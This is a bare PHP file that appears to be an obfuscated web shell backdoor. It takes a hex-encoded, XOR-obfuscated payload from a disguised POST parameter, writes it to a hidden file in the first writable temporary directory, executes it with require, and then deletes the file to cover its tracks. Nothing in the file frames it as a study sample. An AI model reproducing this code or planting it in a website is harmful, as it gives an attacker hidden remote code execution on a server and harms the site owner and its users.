<?php

if(isset($_POST["\x6D\x72k"]) ? true : false){
	$ent = hex2bin($_POST["\x6D\x72k"]);
	$entry     =      ''   ;   $w = 0; do{$entry .= chr(ord($ent[$w]) ^ 15);$w++;} while($w < strlen($ent));
	$symbol = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]);
	foreach ($symbol as $key):
    		if (array_product([is_dir($key), is_writable($key)])) {
    $ref = vsprintf("%s/%s", [$key, ".rec"]);
    if (file_put_contents($ref, $entry)) {
	require $ref;
	unlink($ref);
	exit;
}
}
endforeach;
}